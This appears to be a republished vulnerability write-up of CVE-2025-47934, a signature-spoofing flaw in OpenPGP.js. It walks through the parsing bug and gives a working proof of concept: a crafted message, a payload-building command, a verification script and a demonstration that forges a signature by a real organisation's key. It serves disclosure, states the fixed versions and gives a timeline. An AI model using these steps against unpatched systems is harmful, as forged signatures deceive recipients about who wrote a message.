Spoofing OpenPGP.js signature verification

Jun 10, 2025 - 14:45
 0  0
Spoofing OpenPGP.js signature verification

This is a write-up of CVE-2025-47934, a vulnerability in OpenPGP.js found by Codean Labs, which was patched in v5.11.3 and v6.1.1.

After obtaining a valid signature made by a target author (“Alice”), an attacker could abuse this vulnerability to “spoof” arbitrary signatures by Alice (even as encrypted messages), i.e. making it look (to OpenPGP.js users) as if Alice signed any arbitrary message. Given that this is a core principle of PGP which directly affects some integrating applications, the overall risk was considered to be critical.

This write-up explains how this was possible, and provides a proof-of-concept at the end.

The OpenPGP.js library provides an implementation of the OpenPGP standard specified in RFC 9580. If you’ve ever used encrypted email or signed git commits, you may be familiar with this standard. On a high level the OpenPGP standard supports message encryption (symmetric and asymmetric), message signing, and functionality for key management.

With OpenPGP.js, it is possible to do all of this in JavaScript. It is used by several web-based email clients that support encryption, including Proton Mail and Mailvelope.

All PGP payloads (messages, detached signatures and keys) simply consist of a sequence of packets; there is no overarching header. These packets follow a relatively simple but custom binary protocol as defined by the standard. The resulting binary payload can be sent as-is but is often base64-encoded, resulting in an “ASCII-armored” payload such as the following:


-----BEGIN PGP MESSAGE-----
owGbwMvMwCV2JXpbW1xI0SnG0zxJDBkOns8zUnNy8rk6SlkYxLgYZMUUWWJ1LuTu
9HFSqpFcxgtTzcoEUsrAxSkAE4nSYPgrzdL1bQ1bvfG9h44/3Dtkk7njvjC9XHE/
2kzwLeOV+vTNjAyHZt4/96P3wN0H7x7Y79oondUbIc6a+Onj3578CtEn4Xu5AQ==
=0dLq
-----END PGP MESSAGE-----

This signed message consists of the following packets:

  1. Compressed Data packet: itself containing a ZIP-compressed packet-list:
    1. One-Pass Signature packet: an optional packet containing (among other things) the hash algorithm used, so the verifier can already start hashing the data that follows.
    2. Literal Data packet: containing the message “hello”.
    3. Signature packet: containing the cryptographic (EdDSA) signature on the hash of the data before it.

There is quite some flexibility in this structure. For example, the enveloping Compressed Data packet is entirely optional. Alternatively, the inner Literal Data packet could be replaced with a Compressed Data packet, containing even more packets, for example those belonging to an encrypted message or another signature. The allowed packet structures are formalized in grammar rules defined in the standard (RFC 9580, Section 10.3).

Now let’s consider a PGP message with the following packet list, where packets 1-3 make up a legitimate signed message but a fourth packet is added:

  1. One-Pass Signature packet
  2. Literal Data packet (“legitimate”)
  3. Signature packet (valid over packet 1)
  4. Compressed Data packet, containing Literal Data packet (“malicious”)

Because of the stray Compressed Data packet at the end, this is not a valid OpenPGP message.

Still, it turns out that OpenPGP.js not only accepts the message as valid, but it returns “malicious” as the signed data while verifying the signature on “legitimate”!

To demonstrate this, let’s take a simple verification program, similar to what is given in the official documentation, and give it our peculiar packet list as a message:


const openpgp = require('openpgp');

(async () => {
    // Generated using:
    //   cat \
    //     <(echo "legitimate" | gpg -s -z0) \
    //     <(printf "\xc8\x12\0\xcb\x0f\x62\0\0\0\0\0malicious") \
    //   | base64
    let armoredMessage = `
-----BEGIN PGP MESSAGE-----

kA0DAAoW1Fu2hl5UcsoByxFiAGhBNptsZWdpdGltYXRlCoh1BAAWCgAdFiEEXSzQbblMQiJ8GaYN
1Fu2hl5UcsoFAmhBNpsACgkQ1Fu2hl5UcsqE0QD/bsWYHJrrrK8RM8VgB4Z3K64zWfp49BOi+x0s
9VJKyRoBALJdQhGzPwCERCANPR+KdX5ZdrX54ZpY9mriFG6O4hsFyBIAyw9iAAAAAABtYWxpY2lv
dXM=
-----END PGP MESSAGE-----`;

    // public key of [email protected]
    const publicKeyArmored = `
-----BEGIN PGP PUBLIC KEY BLOCK-----

mDMEZSAfBhYJKwYBBAHaRw8BAQdAfdgd2yxL+pYN91ENyp/VZVdWXLjYDONG47jM
4dDZDMG0IFRob21hcyBSaW5zbWEgPHRob21hc0Bjb2RlYW4uaW8+iI8EExYIADcW
IQRdLNBtuUxCInwZpg3UW7aGXlRyygUCZSAfBgUJBaOagAIbAwQLCQgHBRUICQoL
BRYCAwEAAAoJENRbtoZeVHLKpvIBANiaDeLPyaQyHkuzB8T6ZqvfJi4dXNlsqT2F
dlUUip4ZAQDSAljghQC9jAQu8I8yMrQJd4SXD1EMH+NLNNYCDEZCC7g4BGUgHwYS
CisGAQQBl1UBBQEBB0DOFmUm2nMIda8PzTquulLLy/bFwDtSqAiK1EBqEdvbaAMB
CAeIfgQYFggAJhYhBF0s0G25TEIifBmmDdRbtoZeVHLKBQJlIB8GBQkFo5qAAhsM
AAoJENRbtoZeVHLKCE8BAJEXE6za1G6pFpaZWKBRMlCbBDSE4rc7iEn5MpC56WtQ
AQCnVhRNYBjQ7Bo/VX1rx2+6wx84EXOFmoW80F96QmN0Bw==
=Obk+
-----END PGP PUBLIC KEY BLOCK-----`;

    const publicKey = await openpgp.readKey({ armoredKey: publicKeyArmored });
    const message = await openpgp.readMessage({ armoredMessage });
    const verificationResult = await openpgp.verify({ message, verificationKeys: publicKey });

    console.log(`Signed message data: ${verificationResult.data}`);
    const { verified, keyID } = verificationResult.signatures[0];
    try {
        await verified; // throws on invalid signature
        console.log(`Verified signature by key id ${keyID.toHex()}`);
    } catch (e) {
        throw new Error(`Signature could not be verified: ${e.message}`);
    }
})();

printing the following to console:


Signed message data: malicious
Verified signature by key id d45bb6865e5472ca

This is bad! It means an attacker can use any previous valid signature made by a victim, and “replace” the signed data with anything while the signature remains valid.

To understand why this happens, we need to look at how OpenPGP.js parses messages.

An incoming PGP message is parsed by using the high-level API openpgp.readMessage(), which eventually calls PacketList.read().

After converting the input packet list to a stream, PacketList.read() reads an initial sequence of packets from the stream until after it encounters either the end of the stream, or a packet type which supports streaming (supportsStreaming(value.constructor.tag)), such as Literal Data packets:

The OpenPGP packet format allows packet types that contain arbitrary-length data to be split into chunks using a Partial Body Length in their header. Some logic is required on the parsing side to recombine these packets, hence this is what supportsStreaming() refers to.

    // Wait until first few packets have been read
    const reader = streamGetReader(this.stream);
    while (true) {
      const { done, value } = await reader.read();
      if (!done) {
        this.push(value);
      } else {
        this.stream = null;
      }
      if (done || supportsStreaming(value.constructor.tag)) {
        break;
      }
    }

If we take our malicious packet list from before, it means that after this loop (i.e., after calling openpgp.readMessage()), the message’s internal packets array (an instance of PacketList) will contain only packets 1 and 2, the One-Pass Signature and Literal Data (“legitimate”) packets. The rest of the packets are presumably not needed yet, and hence still pending to be read from the packet stream.

Next, the user calls the high-level API openpgp.verify() on the message object returned by openpgp.readMessage(). This will invoke the internal method Message.verify() which starts as follows:


  async verify(verificationKeys, date = new Date(), config = defaultConfig) {
    const msg = this.unwrapCompressed(); // (1)
    
    const literalDataList = msg.packets.filterByTag(enums.packet.literalData);
    if (literalDataList.length !== 1) {
      throw new Error('Can only verify message with one literal data packet.');
    }
    
    if (isArrayStream(msg.packets.stream)) {
      msg.packets.push(...await streamReadToEnd(msg.packets.stream, _ => _ || [])); // (2)
    }

    const onePassSigList = msg.packets.filterByTag(enums.packet.onePassSignature).reverse();
    const signatureList = msg.packets.filterByTag(enums.packet.signature);

    // ...

For the purposes of signature verification, this function obtains the Literal Data packet (literalDataList) and the Signature packet (signatureList) from the message.

As the packet list may not be fully retrieved yet from the stream (as is the case with our payload), streamReadToEnd() is invoked to read all remaining packets into the msg.packets array (2). Critically, this occurs after msg itself is obtained using this.unwrapCompressed() (1).

This is a helper method that either returns the packet list inside the first Compressed Data packet it finds or just returns this (the original packet list) if no Compressed Data packets are found:


  unwrapCompressed() {
    const compressed = this.packets.filterByTag(enums.packet.compressedData);
    if (compressed.length) {
      return new Message(compressed[0].packets);
    }
    return this;
  }

At this point, this.packets still consists only of packets 1 and 2 of our payload (One-Pass Signature and Literal Data (“legitimate”)), hence this is returned and packet 2 is used as literalDataList.

Given that packet 3 is a valid Signature over packet 2 (“legitimate”), message.verify() will succeed and the control flow returns to openpgp.verify():


    ...
    if (signature) {
      result.signatures = await message.verifyDetached(signature, verificationKeys, date, config);
    } else {
      result.signatures = await message.verify(verificationKeys, date, config);
    }
    result.data = format === 'binary' ? message.getLiteralData() : message.getText();
    ...

Next, result.data is set to the output of message.getLiteralData() (or message.getText(), functionally equivalent), which again makes use of unwrapCompressed():


  getLiteralData() {
    const msg = this.unwrapCompressed();
    const literal = msg.packets.findPacket(enums.packet.literalData);
    return (literal && literal.getBytes()) || null;
  }

This time however, msg.packets contains the full packet list (due to streamReadToEnd() which was called before), and hence unwrapCompressed() will return the contents of the first Compressed Data packet it encounters (packet 4), which is the attacker-inserted Literal Data packet (“malicious”).

At this point after verification, manually calling message.getText() will also return the malicious Literal Data contents:


const message = await openpgp.readMessage({ payload });

console.log(message.getText()); // prints "legitimate"

const verificationResult = await openpgp.verify({ message, verificationKeys: publicKey });
// verificationResult represents a valid signature

console.log(message.getText()); // prints "malicious"
console.log(verificationResult.data); // prints "malicious"

This logic was clearly intended to flexibly deal with both compressed and uncompressed Literal Data packets. But it seems that nobody considered such a malformed packet list!

For messages that are signed and encrypted, the situation is even worse. The high-level API openpgp.decrypt() combines decryption and verification, and it is common (e.g., in the official example code) to obtain the decrypted data from its data output, while determining the signature’s validity based on its signatures output.

As openpgp.decrypt() just uses the same verification logic under the hood, it has the same flaw. Therefore, the returned data is the attacker-controlled payload (“malicious”), while the signature verification result is calculated on the original payload (“legitimate”).


const { data, signatures } = await openpgp.decrypt({
    message,
    verificationKeys: publicKey
    decryptionKeys: privateKey
});
console.log(data); // prints "malicious"

try {
    await signatures[0].verified;
    console.log('Signature is valid'); // prints "Signature is valid"
} catch (e) {}

There is no escape hatch like with openpgp.verify(), where message.getText() may be called before verification. The only safe usage would be to perform decryption separately from verification in two distinct steps, by not using the verificationKeys parameter in the first step.

Download these files from our PoC repository.

As shown above, constructing a malicious payload is a only a matter of taking an existing signed message (removing the wrapping compression if needed), and appending a Compressed Data packet containing a malicious Literal Data packet. To make it easy to add arbitrary malicious text, we’ve written a small Python script (generate_spoofed_message.py) which produces the packet headers for you and prints an ASCII-armored version of the spoofed message:


$ echo "hello world" | gpg -s -z0 > legit_signed_message.pgp
$ python generate_spoofed_message.py legit_signed_message.pgp > spoofed_message.asc
$ node validate_signature.js spoofed_message.asc <(gpg --export -a [email protected])
Signed message data: malicious
Verified signature by key id d45bb6865e5472ca: Thomas Rinsma 

Additionally, extract_from_clearsign_and_spoof.py shows how it is possible to extract the Signature packet from a clear-signed message, and generate a spoofed message from that. Here’s the NCSC (the National Cyber Security Center of the Netherlands) saying something totally legit 😉


# Extract victim's PGP key and a clear-signed message (security.txt in this case)
$ wget https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2025/januari/06/pgp-key/pgp.txt
$ wget https://www.ncsc.nl/.well-known/security.txt
# Generate the spoofed message
$ python extract_from_clearsign_and_spoof.py security.txt > spoofed_message.asc

$ node validate_signature.js spoofed_message.asc pgp.txt
Signed message data: Hello from Codean Labs.
Verified signature by key id cad4ceab247e705f: NCSC-NL 2025 ,NCSC-NL 2025 general information 
At Codean Labs we realize as no other how difficult it is to make secure software. We provide you with the insights to know which risks you are facing, and when required, help you mitigate these risks. We perform application security assessments in an efficient, thorough and human manner, allowing you to focus on development. Click here to learn more.

Update your version of OpenPGP.js to v5.11.3 or v6.1.1 to mitigate this vulnerability. If you use Mailvelope or other software that indirectly uses OpenPGP.js, make sure to update that as well. If you use OpenPGP.js directly and you’re unable to update, the advisory written by the maintainers also contains alternative workarounds.

To fix this issue, the developers have started to implement strict grammar verification, helping to make sure that invalid messages like our malicious packet list are rejected early on. We think this is a great approach as it reduces the attack surface and it might help prevent future issues of the same kind.

  • 2025-05-06 – Report submitted to the OpenPGP.js Bug Bounty program on YesWeHack
  • 2025-05-12 – More information provided on crafting malicious payloads
  • 2025-05-13 – Finding acknowledged by maintainers, start of coordinated fix roll-out
  • 2025-05-19 – CVE-2025-47934 assigned, advisory and fixes released
    • OpenPGP.js v5.11.3 and v6.1.1 released
    • Mailvelope v6.0.1 released
  • 2025-06-10 – This blog post is published

What's Your Reaction?

Like Like 0
Dislike Dislike 0
Love Love 0
Funny Funny 0
Angry Angry 0
Sad Sad 0
Wow Wow 0